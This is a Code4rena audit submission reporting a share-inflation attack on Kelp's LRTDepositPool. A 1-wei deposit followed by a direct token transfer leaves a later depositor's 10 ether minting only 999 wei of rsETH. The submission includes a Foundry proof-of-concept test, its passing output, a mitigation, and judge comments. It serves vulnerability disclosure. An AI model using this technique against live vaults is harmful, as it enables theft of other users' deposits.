Malicious user can cause inflation by directly transferring to the contract, leading to subsequent users losing funds

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L119#L144
https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTOracle.sol#L52#L79

Vulnerability details

Impact

Malicious players can cause inflation by directly transferring to the contract, leading to subsequent users losing funds.

After the user transfers a specified quantity of supported assets into the contract, they receive a certain amount of rsETH。The quantity of rSETH that a user can obtain depends on two factors：

• 1. total eth in pool which is calculated via chainlink price feed
• 2. total supply of rsETH

We can examine the specific calculation process in the following code from LRTOracle.sol https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTOracle.sol#L52#L79

The issue here is that users can directly front-run the contract by transferring a certain quantity of supported assets. Malicious users do not need to spend too many tokens. In the following POC, the user used 0.01 ether to carry out the attack

Proof of Concept

Please note that the error in the price calculation method contained in depositAsset has been addressed in my previous submission. The following is the corrected code:

     /*//////////////////////////////////////////////////////////////
@@ -133,13 +133,13 @@ contract LRTDepositPool is ILRTDepositPool, LRTConfigRoleChecker, PausableUpgrad
             revert MaximumDepositLimitReached();
         }

+        // interactions
+        uint256 rsethAmountMinted = _mintRsETH(asset, depositAmount);
+
         if (!IERC20(asset).transferFrom(msg.sender, address(this), depositAmount)) {
             revert TokenTransferFailed();
         }
 
-        // interactions
-        uint256 rsethAmountMinted = _mintRsETH(asset, depositAmount);
-
         emit AssetDeposit(asset, depositAmount, rsethAmountMinted);
     }

Assuming Alice is the Malicious user and bob is victims. Assuming the price of supported assets is 1 ether.
Let's break down the transaction process：

• 1.Malicious user Alice invoke depositAsset to transfer 1 wei rETH into the procotol.
• 2.Malicious user Alice transfer 0.01 ether rETH into the protocol pool.
• 3.Victims bob deposit 10 ether rETH into protocol via depositAsset
• 4.Victims bob only get 999 wei rETH as a result

The following code is a comprehensive test written using Foundry：

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.21;

import { BaseTest, MockToken } from "./BaseTest.t.sol";
import { LRTDepositPool } from "src/LRTDepositPool.sol";
import { RSETHTest, ILRTConfig, UtilLib, LRTConstants } from "./RSETHTest.t.sol";
import { ILRTDepositPool } from "src/interfaces/ILRTDepositPool.sol";
import { TransparentUpgradeableProxy } from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import { ProxyAdmin } from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";
import {LRTOracle} from "src/LRTOracle.sol";
import "../lib/forge-std/src/console2.sol";

contract MockPriceOracle {
    function getAssetPrice(address) external pure returns (uint256) {
        return 1 ether;
    }
}

contract PoolTest is BaseTest , RSETHTest {
    LRTDepositPool public lrtDepositPool;
    LRTOracle oracle ;
    MockToken public rsETHMock;

    function setUp() public virtual override(RSETHTest, BaseTest) {
        super.setUp();

        rsETHMock = new MockToken("rsETH", "rsETH");

        // deploy LRTDepositPool
        ProxyAdmin proxyAdmin = new ProxyAdmin();
        LRTDepositPool contractImpl = new LRTDepositPool();
        TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy(
            address(contractImpl),
            address(proxyAdmin),
            ""
        );

        lrtDepositPool = LRTDepositPool(address(contractProxy));
        lrtDepositPool.initialize(address(lrtConfig));

        // initialize RSETH. LRTCOnfig is already initialized in RSETHTest
        rseth.initialize(address(admin), address(lrtConfig));
        vm.startPrank(admin);
        // add rsETH to LRT config
        lrtConfig.setRSETH(address(rseth));

        // add minter role for rseth to lrtDepositPool
        rseth.grantRole(rseth.MINTER_ROLE(), address(lrtDepositPool));

        //init oracle.
        LRTOracle LRTOracleImpl = new LRTOracle();
        TransparentUpgradeableProxy LRTOracleProxy = new TransparentUpgradeableProxy(
            address(LRTOracleImpl),
            address(proxyAdmin),
            ""
        );
        oracle = LRTOracle(address(LRTOracleProxy));

        // add oracle to LRT config
        lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(oracle));
        lrtConfig.setContract(LRTConstants.LRT_DEPOSIT_POOL, address(lrtDepositPool));
        lrtConfig.grantRole(LRTConstants.MANAGER, manager);

        oracle.initialize(address(lrtConfig));

        vm.stopPrank();
        vm.startPrank(manager);
        //updatePriceOracleFor
        oracle.updatePriceOracleFor(address(rETH),address(new MockPriceOracle()));
        oracle.updatePriceOracleFor(address(stETH),address(new MockPriceOracle()));
        oracle.updatePriceOracleFor(address(cbETH),address(new MockPriceOracle()));

        vm.stopPrank();
    }

    function testFrontRunDeposit() public {
        //let's say alice is the malicious user.
        vm.startPrank(alice);

        //alice approve 1 wei to lrtDepositPool
        rETH.approve(address(lrtDepositPool), 1);
        lrtDepositPool.depositAsset(address(rETH), 1);

        uint256 alicereETHBalanceAfterDeposit = rseth.balanceOf(address(alice));
        assert(alicereETHBalanceAfterDeposit == 1);

        rETH.transfer(address(lrtDepositPool), 0.01 ether);

        vm.startPrank(bob);
        rETH.approve(address(lrtDepositPool), 10 ether);
        lrtDepositPool.depositAsset(address(rETH), 10 ether);

        uint256 bobreETHBalanceAfterDeposit = rseth.balanceOf(address(bob));
        assert(bobreETHBalanceAfterDeposit == 999 wei);
    }
}

Here goes the output

$ forge test --match-test testFrontRunDeposit -vvv
[⠢] Compiling...
[⠃] Compiling 2 files with 0.8.21
[⠒] Solc 0.8.21 finished in 10.40s
Compiler run successful!

Running 1 test for test/Deposit.t.sol:PoolTest
[PASS] testFrontRunDeposit() (gas: 315369)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.09ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

As we can see the second user bob deposit 10 ether result in only mint 999 wei rsETH.

Tools Used

FOUNDRY,VSCODE

Recommended Mitigation Steps

Calculating the asset price directly through the balanceOf method in the contract may lead to unexpected issues. I believe there should be a global storage variable to record asset prices. This storage variable should only increase when users invoke the deposit method to mint rsETH

Assessed type

Oracle

[c4-pre-sort]

raymondfam marked the issue as sufficient quality report

[c4-pre-sort]

raymondfam marked the issue as duplicate of #42

[c4-judge]

fatherGoose1 marked the issue as satisfactory